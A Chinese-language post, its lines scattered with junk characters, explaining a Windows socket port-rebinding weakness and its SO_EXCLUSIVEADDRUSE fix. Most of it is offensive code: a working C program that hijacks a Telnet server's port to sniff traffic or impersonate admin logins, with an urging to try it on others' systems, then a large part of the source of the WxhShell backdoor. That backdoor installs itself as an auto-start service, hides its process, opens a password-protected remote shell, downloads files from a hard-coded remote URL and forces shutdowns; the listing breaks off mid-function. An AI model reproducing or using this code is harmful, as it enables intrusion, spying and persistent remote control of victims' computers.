在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6QG"~>v7'( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W9/HM ! 8Ao pI3 saddr.sin_family = AF_INET;
W|AK"vf GVld]ioycG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
agp7zw=N EdC/] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
} @4by< a?8boN( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5 =Op% ['Y"6[1 这意味着什么?意味着可以进行如下的攻击:
kKz>]t"A VhLS*YiSY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>h{)7Hv }}gtz-w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4{CeV7 ^~JF7u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S$NJmXhx5 {YF(6wVl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
J*;= f8 57[tUO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s%i
\z }/ 7&3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FG)(,?q e)*-<AGwC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Y4{/P1F FqXE6^ #include
W=\45BJ #include
kV@?Oj.&I, #include
@!p0<&R@x #include
l-?#oy DWORD WINAPI ClientThread(LPVOID lpParam);
DAf0bh" int main()
jhH&}d9 {
) m(!lDz3 WORD wVersionRequested;
Wg\MaZ6Di DWORD ret;
BI+x6S>d WSADATA wsaData;
P`AW8Y6o BOOL val;
=2e{T J/ SOCKADDR_IN saddr;
~'w]%rh! SOCKADDR_IN scaddr;
3wN{k\ns int err;
Q)2i{\GPVn SOCKET s;
=buarxk SOCKET sc;
#MUY! int caddsize;
: 22)` ;0 HANDLE mt;
QzVo U | DWORD tid;
YT'olk wVersionRequested = MAKEWORD( 2, 2 );
P71] Z err = WSAStartup( wVersionRequested, &wsaData );
t 09-y if ( err != 0 ) {
?.^n,[2 printf("error!WSAStartup failed!\n");
i'p6# return -1;
z>z9xG' }
:pvB}RYD saddr.sin_family = AF_INET;
=d#(n M* [,sm]/Xlc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
k|`Qk!tr eL88lV]I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cy0j>-z saddr.sin_port = htons(23);
VWrb`p@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mv>-XJ+ {
qW`DCZu printf("error!socket failed!\n");
$
D.*r*c6 return -1;
%\T#Ik~3 }
m\G45%m val = TRUE;
*R3^:Y& //SO_REUSEADDR选项就是可以实现端口重绑定的
< b-OdOg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|cgc^S/~H {
{$Z
S
27 printf("error!setsockopt failed!\n");
Tly*i"[& return -1;
SvQ!n4 $ }
*yYeqm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8(g}/%1mt3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
p# JPLCs //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_6-N+FI HT7I~]W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-f["1-A {
)zkr[;j~` ret=GetLastError();
r-o+NV printf("error!bind failed!\n");
@cc}[Uw4B return -1;
GD%qrK? }
{9vMc listen(s,2);
BAojP1}+, while(1)
;:/C.%d
{
zMh`Uqid caddsize = sizeof(scaddr);
Rk#p zD //接受连接请求
QL:Qzr[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z}F^HQ1 if(sc!=INVALID_SOCKET)
}kSP p {
ndu$N$7+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
b8**M'k if(mt==NULL)
%E[ $np> {
3hcWR'| printf("Thread Creat Failed!\n");
SB,#y>Zv? break;
ce:wF#Qs }
>Se-5QtLcf }
Kx02 2rgDU CloseHandle(mt);
/0b7"Kr }
N
;Cs? C closesocket(s);
ySHpN>U WSACleanup();
^O<@I return 0;
e5(c,,/ }
.|@2Uf DWORD WINAPI ClientThread(LPVOID lpParam)
duc\/S' {
q);oO\< SOCKET ss = (SOCKET)lpParam;
0{/'[o7 SOCKET sc;
Wr`<bLq1vs unsigned char buf[4096];
`+i/rc1. SOCKADDR_IN saddr;
:-$TD('F long num;
sl`?9-_[ DWORD val;
~( :$c3\ DWORD ret;
KQ ^E\,@o //如果是隐藏端口应用的话,可以在此处加一些判断
SgkW-# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i
^,
$/ saddr.sin_family = AF_INET;
5?.!A
'zb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P| ftEF saddr.sin_port = htons(23);
&FG0v<f5Pv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9Y?``QBN {
5%+epzy printf("error!socket failed!\n");
G 2uM 6 return -1;
Z/q'^PB
p }
yji>vJHu val = 100;
?*6Q;.f< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ni6zo~+W] {
}(oWXwFb&W ret = GetLastError();
xeKm} MN]S return -1;
,YRBYK: }
#Q BW%L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JsEnhE}] {
WR_B:%W. ret = GetLastError();
4#W*f3d[@: return -1;
L s+zJ1 }
yq!peFu if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Y=,9 M {
+_jM$?:F} printf("error!socket connect failed!\n");
3Xy~ap>Y closesocket(sc);
r@PVSH/ closesocket(ss);
?;A\>sP return -1;
GK1P7Qy?V }
=i6k[ rg while(1)
OS1f}< {
_-2;!L#/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
j+e
s //如果是嗅探内容的话,可以再此处进行内容分析和记录
/T2 v`Li //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ExF6y#Y G< num = recv(ss,buf,4096,0);
h@J3+u< if(num>0)
nELY( z send(sc,buf,num,0);
BU|)lU5)z else if(num==0)
PP]7_h^2 break;
IFW7MF9V num = recv(sc,buf,4096,0);
'<'5BeU if(num>0)
b5?k gY send(ss,buf,num,0);
V9cj else if(num==0)
_|{Z850AS break;
5g.Kyj| }
g ;XK3R closesocket(ss);
wUL 5"\ closesocket(sc);
3GrIHiCr return 0 ;
(B%[NC6 }
{XV'C@B &qM8)2Y (M{>9rk8 ==========================================================
. BX*C TaF;PGjVw 下边附上一个代码,,WXhSHELL
QB !% <U8w# dc ==========================================================
2*]
[M,L0c a'd=szt #include "stdafx.h"
NC iBn>=: SiJ{ #include <stdio.h>
6PC?*^v #include <string.h>
y1[@4TY] #include <windows.h>
S,Q(,e^& #include <winsock2.h>
%*RZxR): #include <winsvc.h>
h92KU #include <urlmon.h>
A`"?~_pHC 4YoQ*NQw- #pragma comment (lib, "Ws2_32.lib")
AUES;2WL #pragma comment (lib, "urlmon.lib")
oE2VJKs<B h8-uI.RZ #define MAX_USER 100 // 最大客户端连接数
:B\$7+$v #define BUF_SOCK 200 // sock buffer
(Ffa{Tt! #define KEY_BUFF 255 // 输入 buffer
w c\`2( mHa~c(x #define REBOOT 0 // 重启
-$49l #define SHUTDOWN 1 // 关机
+|x%a2?x: L(9AcP #define DEF_PORT 5000 // 监听端口
[.w `r>kZI 5Zmc3&vRl #define REG_LEN 16 // 注册表键长度
TI\EkKu" #define SVC_LEN 80 // NT服务名长度
\rE] V,,2 U#<{RqY // 从dll定义API
JIqg[Mao typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
G[u{! 2RS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
: %uaaFl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
d[nz0LI|mk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U* uMMb}$ b *3h}n; // wxhshell配置信息
\HQ.Pwr 6 struct WSCFG {
Ocn@JOg int ws_port; // 监听端口
qEVpkvEq char ws_passstr[REG_LEN]; // 口令
P+C5
s int ws_autoins; // 安装标记, 1=yes 0=no
Z v*uUe char ws_regname[REG_LEN]; // 注册表键名
AYfe_Dj char ws_svcname[REG_LEN]; // 服务名
s,l*=< char ws_svcdisp[SVC_LEN]; // 服务显示名
BuUM~k&SY char ws_svcdesc[SVC_LEN]; // 服务描述信息
T0.sL9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e E(+ int ws_downexe; // 下载执行标记, 1=yes 0=no
0QxBC7`qp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&}K%F)S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
if3z Fh }J2f$l>R };
q(4Ny<=,'K .u`A4;;Gw // default Wxhshell configuration
{xOzxLB; struct WSCFG wscfg={DEF_PORT,
}SyK)W5Y "xuhuanlingzhe",
THB[(3q 1,
e@S\7Ks "Wxhshell",
q8,,[R_ "Wxhshell",
k~F,n "WxhShell Service",
e2g`T{6M "Wrsky Windows CmdShell Service",
[xQ.qZ[h& "Please Input Your Password: ",
9[lk=1.qN 1,
pbIVj3-lY "
http://www.wrsky.com/wxhshell.exe",
&> R:oYN "Wxhshell.exe"
Vr;>Im };
7|"$YV'DM JbMp / // 消息定义模块
8Qj1%Ri:U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9[DlJ@T} char *msg_ws_prompt="\n\r? for help\n\r#>";
ePxAZg$ `> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*)oBE{6D char *msg_ws_ext="\n\rExit.";
`B,R+==G: char *msg_ws_end="\n\rQuit.";
sGpAaGY> char *msg_ws_boot="\n\rReboot...";
fzAkUvo char *msg_ws_poff="\n\rShutdown...";
G>jC+0nkry char *msg_ws_down="\n\rSave to ";
q'IMt7} JSaF7(a = char *msg_ws_err="\n\rErr!";
r=p^~tuyxr char *msg_ws_ok="\n\rOK!";
AJ3Byb=. cIK4sOTJ& char ExeFile[MAX_PATH];
_1WA:7$C int nUser = 0;
.Yz^r?3t HANDLE handles[MAX_USER];
+ZFN8 int OsIsNt;
M&sQnPFH NLUO{'uUW SERVICE_STATUS serviceStatus;
t**d{P+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
*i!t&s 1u(n[<WtT_ // 函数声明
{Z
Ld_VGW int Install(void);
IGab~`c-[ int Uninstall(void);
DJqJ6 z:' int DownloadFile(char *sURL, SOCKET wsh);
zsR5"Vi= int Boot(int flag);
=.JcIT'
void HideProc(void);
dP>FXgY int GetOsVer(void);
gv i!|!M= int Wxhshell(SOCKET wsl);
#
@7I void TalkWithClient(void *cs);
g_?Q3 int CmdShell(SOCKET sock);
)n[=)"rf int StartFromService(void);
DbtkWq% int StartWxhshell(LPSTR lpCmdLine);
6\.LG4@LO \'|t>|zhp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$Il VOID WINAPI NTServiceHandler( DWORD fdwControl );
}wI+eMr $ub0$S/Hu // 数据结构和表定义
VN$7r SERVICE_TABLE_ENTRY DispatchTable[] =
a=v H:D {
WGyPyG#Fl {wscfg.ws_svcname, NTServiceMain},
Dd-a*6|x {NULL, NULL}
Uv~|Xj4. };
mHJGpJ=a- $1Wb`$ // 自我安装
5fz
K*[B int Install(void)
AsvH@\\ {
AVfF<E/ char svExeFile[MAX_PATH];
F
IB)cpo HKEY key;
Y]5MM:mI strcpy(svExeFile,ExeFile);
`)MKCw$e q!~DCv df // 如果是win9x系统,修改注册表设为自启动
>;VZB/d if(!OsIsNt) {
#q-fRZ:P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TefPxvd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)HvBceN RegCloseKey(key);
02,.UqCz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;E>#qYC6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LB9W.cA
RegCloseKey(key);
T21?~jS return 0;
`0MQL@B }
p _3xW{I }
'/AX'U8Y }
xuVc1jJH else {
17 0r 5 7#7|+%W0 // 如果是NT以上系统,安装为系统服务
rp2g./2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!\O!Du if (schSCManager!=0)
FJxb!-0& {
7KJ0>0~Et SC_HANDLE schService = CreateService
={;+0Wjb8 (
m}S}fH( schSCManager,
W5~!)Ec wscfg.ws_svcname,
:_ =YH+bZ wscfg.ws_svcdisp,
6s
~!B{Q SERVICE_ALL_ACCESS,
WT3g31 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X\i;j!;d SERVICE_AUTO_START,
S/RChg_L5 SERVICE_ERROR_NORMAL,
1+Ik\ svExeFile,
VUz+_) NULL,
FN (O NULL,
-(ST NULL,
#hMkajG NULL,
tF./Jx]_ NULL
pF8+<
T3y );
ELG9ts+5Uj if (schService!=0)
G%=
gCR {
(hIo0. CloseServiceHandle(schService);
9wO2`e ) CloseServiceHandle(schSCManager);
/N obS'd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
fL]jk1.Xv- strcat(svExeFile,wscfg.ws_svcname);
]^i^L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]9JH.fF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
E\cX RegCloseKey(key);
6o5,d] return 0;
|Q";a:&$ }
,e'"SVQc }
Np+pJc1 CloseServiceHandle(schSCManager);
uY/CiTWr }
{zLgLBM }
|YfJ#Agm+ ?[Ma" l> return 1;
6:`[Fi }
&2O~BIRE >m{>0k(^` // 自我卸载
[nrD4 int Uninstall(void)
'iDkAmvD {
U\-.u3/ HKEY key;
z^WY5~? >&F:/ if(!OsIsNt) {
?C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?I"?J/zm RegDeleteValue(key,wscfg.ws_regname);
Mm9*$g!R RegCloseKey(key);
+4rd
N\. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m|
7v76( RegDeleteValue(key,wscfg.ws_regname);
oJ/=&c RegCloseKey(key);
sBqOcy return 0;
VwK7\jV }
Ai5+ ;8z+ }
9>`dB }
h'_$I4e) else {
aVr =7PeF BqA_CW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|oe if (schSCManager!=0)
<E^;RG {
wx!2/I> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9-24c if (schService!=0)
3a=\$x@ {
LX=v
_}l
J if(DeleteService(schService)!=0) {
s~o\j/ CloseServiceHandle(schService);
9|OOT[ CloseServiceHandle(schSCManager);
nQa:t. rC return 0;
YQD/vc~8G }
~@[<y1g?nG CloseServiceHandle(schService);
@l5GBsLK }
9jNh%raG| CloseServiceHandle(schSCManager);
NX:\iJD)1U }
JLjs`oqh }
}_@p`>|)rB -9o7a_Z return 1;
+RkXe;q }
K,*-Y)v2W -7%dgY( // 从指定url下载文件
R|Uu int DownloadFile(char *sURL, SOCKET wsh)
kX:1=+{xg {
W`TSR?4~t? HRESULT hr;
`gJ$fTi& char seps[]= "/";
bUSa#pNO> char *token;
uf:'"7V7 char *file;
K*4ib/'E a char myURL[MAX_PATH];
Q:b0! char myFILE[MAX_PATH];
HNlW.y" $'<$:;4b3 strcpy(myURL,sURL);
yw89*:A6 token=strtok(myURL,seps);
bMv[.Z@v( while(token!=NULL)
\%V !&
!' {
S?OCy4dk: file=token;
Z/4bxO=m token=strtok(NULL,seps);
"s(|pQh; }
i<=2 L?[.I 6KD-nr{S GetCurrentDirectory(MAX_PATH,myFILE);
z92Xc strcat(myFILE, "\\");
>!tfvM2X{ strcat(myFILE, file);
Ol|fdQ send(wsh,myFILE,strlen(myFILE),0);
CLJn+Y2 send(wsh,"...",3,0);
%afF%y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<54KWC86)J if(hr==S_OK)
;z+}|>! return 0;
78?cCj{e else
j8rxhToC return 1;
h%v qt~0 mC?}:WM@ }
1|:;~9n<t sN5Mm8~ // 系统电源模块
+~M.VsX int Boot(int flag)
?Jgqb3+!o {
C 20VSwd HANDLE hToken;
8E9k7 TOKEN_PRIVILEGES tkp;
CoWT &SPr#OkW if(OsIsNt) {
ilZ5a&X; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!0):g/2h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#cb9g tkp.PrivilegeCount = 1;
wjT#D|soI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r/HG{XH` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ea0EG>Y if(flag==REBOOT) {
;<xPzf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7_rDNK@e return 0;
u
bZ`Y$ }
e:_[0# else {
mmCGIX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l Ttc# return 0;
C+mPl +}w }
q~*|Wd'& }
o? K>ji! else {
]"j%:fr if(flag==REBOOT) {
*/$] kE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,JPDPI/a return 0;
HW"5MZ8E }
54RexB o else {
u^x<xw6f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Qp2~ `hD return 0;
m"AyO"}I5 }
uv{*f)j/d }
wWq-zGH|&